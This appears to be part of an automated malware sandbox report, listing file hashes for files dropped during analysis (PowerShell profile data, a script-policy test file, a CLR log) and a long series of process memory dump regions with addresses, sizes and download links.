31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
5f0ddc7f3691c81ee14d17b419ba220d

SHA1
f0ef5fde8bab9d17c0b47137e014c91be888ee53

SHA256
a31805264b8b13ce4145f272cb2830728c186c46e314b48514d636866217add5

SHA512
2ce7c2a0833f581297c13dd88ccfcd36bf129d2b5d7718c52b1d67c97cbd8fc93abc085a040229a0fd712e880c690de7f6b996b0b47c46a091fabb7931be58d3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
cd7bc20a2d198c263f7a230f66534fc0

SHA1
410b72bb3de1147dbfa07fb3dc765f2c3773b464

SHA256
957ba84fa4551f0ba432f1bb6a23660c39e209d96f215879bff6cf5fade743aa

SHA512
68dda51f4a3a75e6f6b20565f4911a7c1cf07aa641489777cb5774b64017883a8f9f58aa1e359b0bb1ca9a514876ac7e51579732b48b9f81eb15de6fa98c6edc

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xxzspht2.vpm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
4KB

MD5
bdb25c22d14ec917e30faf353826c5de

SHA1
6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

SHA256
e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

SHA512
b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b42c70c1dbf0d1d477ec86902db9e986

SHA1
1d1c0a670748b3d10bee8272e5d67a4fabefd31f

SHA256
8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

SHA512
57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

Download Submit
memory/1400-52-0x00007FF7A4300000-0x00007FF7A4511000-memory.dmp

Filesize
2.1MB

Download
memory/1400-113-0x00007FF7A4300000-0x00007FF7A4511000-memory.dmp

Filesize
2.1MB

Download
memory/1400-121-0x00007FF7A4300000-0x00007FF7A4511000-memory.dmp

Filesize
2.1MB

Download
memory/2060-134-0x00007FF73F600000-0x00007FF73F616000-memory.dmp

Filesize
88KB

Download
memory/2060-127-0x00007FF73F600000-0x00007FF73F616000-memory.dmp

Filesize
88KB

Download
memory/2560-51-0x00007FFA56490000-0x00007FFA56F51000-memory.dmp

Filesize
10.8MB

Download
memory/2560-36-0x00007FFA56490000-0x00007FFA56F51000-memory.dmp

Filesize
10.8MB

Download
memory/2560-37-0x00000244CEB60000-0x00000244CEB70000-memory.dmp

Filesize
64KB

Download
memory/2560-38-0x00000244CEB60000-0x00000244CEB70000-memory.dmp

Filesize
64KB

Download
memory/2876-159-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-137-0x000001BC871B0000-0x000001BC871D0000-memory.dmp

Filesize
128KB

Download
memory/2876-171-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-173-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-167-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-165-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-163-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-161-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-129-0x000001BC86CB0000-0x000001BC86CD0000-memory.dmp

Filesize
128KB

Download
memory/2876-157-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-155-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-153-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-151-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-149-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-147-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-145-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-143-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-141-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-139-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-169-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-175-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-136-0x000001BC86CB0000-0x000001BC86CD0000-memory.dmp

Filesize
128KB

Download
memory/2876-135-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-177-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-179-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-133-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-181-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-132-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-130-0x000001BC871B0000-0x000001BC871D0000-memory.dmp

Filesize
128KB

Download
memory/2876-120-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-183-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-122-0x000001BC86C40000-0x000001BC86C60000-memory.dmp

Filesize
128KB

Download
memory/2876-185-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-187-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-126-0x000001BC87170000-0x000001BC871B0000-memory.dmp

Filesize
256KB

Download
memory/2876-189-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/2876-128-0x00007FF670350000-0x00007FF670B44000-memory.dmp

Filesize
8.0MB

Download
memory/3476-103-0x00007FF4E1390000-0x00007FF4E13A0000-memory.dmp

Filesize
64KB

Download
memory/3476-114-0x0000026824C90000-0x0000026824CA0000-memory.dmp

Filesize
64KB

Download
memory/3476-102-0x0000026824C90000-0x0000026824CA0000-memory.dmp

Filesize
64KB

Download
memory/3476-100-0x0000026824C90000-0x0000026824CA0000-memory.dmp

Filesize
64KB

Download
memory/3476-96-0x00007FFA56490000-0x00007FFA56F51000-memory.dmp

Filesize
10.8MB

Download
memory/3476-116-0x00007FFA56490000-0x00007FFA56F51000-memory.dmp

Filesize
10.8MB

Download
memory/3760-27-0x00007FFA56490000-0x00007FFA56F51000-memory.dmp

Filesize
10.8MB

Download
memory/3760-31-0x000001F258BA0000-0x000001F258BB0000-memory.dmp

Filesize
64KB

Download
memory/3760-33-0x00007FFA56490000-0x00007FFA56F51000-memory.dmp

Filesize
10.8MB

Download
memory/3760-30-0x000001F258BA0000-0x000001F258BB0000-memory.dmp

Filesize
64KB

Download
memory/3760-28-0x000001F258BA0000-0x000001F258BB0000-memory.dmp

Filesize
64KB

Download
memory/4016-11-0x00007FFA56490000-0x00007FFA56F51000-memory.dmp

Filesize
10.8MB

Download
memory/4016-16-0x00007FFA56490000-0x00007FFA56F51000-memory.dmp

Filesize
10.8MB

Download
memory/4016-13-0x000001EFE7300000-0x000001EFE7310000-memory.dmp

Filesize
64KB

Download
memory/4016-12-0x000001EFE7300000-0x000001EFE7310000-memory.dmp

Filesize
64KB

Download
memory/4016-1-0x000001EFE7290000-0x000001EFE72B2000-memory.dmp

Filesize
136KB

Download
memory/4584-84-0x000001A778C50000-0x000001A778C5A000-memory.dmp

Filesize
40KB

Download
memory/4584-78-0x000001A778AB0000-0x000001A778ABA000-memory.dmp

Filesize
40KB

Download
memory/4584-75-0x00007FF4519B0000-0x00007FF4519C0000-memory.dmp

Filesize
64KB

Download
memory/4584-65-0x000001A7776D0000-0x000001A7776E0000-memory.dmp

Filesize
64KB

Download
memory/4584-54-0x000001A7776D0000-0x000001A7776E0000-memory.dmp

Filesize
64KB

Download
memory/4584-55-0x000001A7776D0000-0x000001A7776E0000-memory.dmp

Filesize
64KB

Download
memory/4584-53-0x00007FFA56490000-0x00007FFA56F51000-memory.dmp

Filesize
10.8MB

Download
memory/4584-88-0x00007FFA56490000-0x00007FFA56F51000-memory.dmp

Filesize
10.8MB

Download
memory/4584-77-0x000001A7789F0000-0x000001A778AA5000-memory.dmp

Filesize
724KB

Download
memory/4584-76-0x000001A7789D0000-0x000001A7789EC000-memory.dmp

Filesize
112KB

Download
memory/4584-79-0x000001A778C20000-0x000001A778C3C000-memory.dmp

Filesize
112KB

Download
memory/4584-80-0x000001A778C00000-0x000001A778C0A000-memory.dmp

Filesize
40KB

Download
memory/4584-81-0x000001A778C60000-0x000001A778C7A000-memory.dmp

Filesize
104KB

Download
memory/4584-82-0x000001A778C10000-0x000001A778C18000-memory.dmp

Filesize
32KB

Download
memory/4584-83-0x000001A778C40000-0x000001A778C46000-memory.dmp

Filesize
24KB

Download
memory/4584-85-0x000001A7776D0000-0x000001A7776E0000-memory.dmp

Filesize
64KB

Download
memory/4776-35-0x00007FF6036F0000-0x00007FF603901000-memory.dmp

Filesize
2.1MB

Download
memory/4776-0-0x00007FF6036F0000-0x00007FF603901000-memory.dmp

Filesize
2.1MB

Download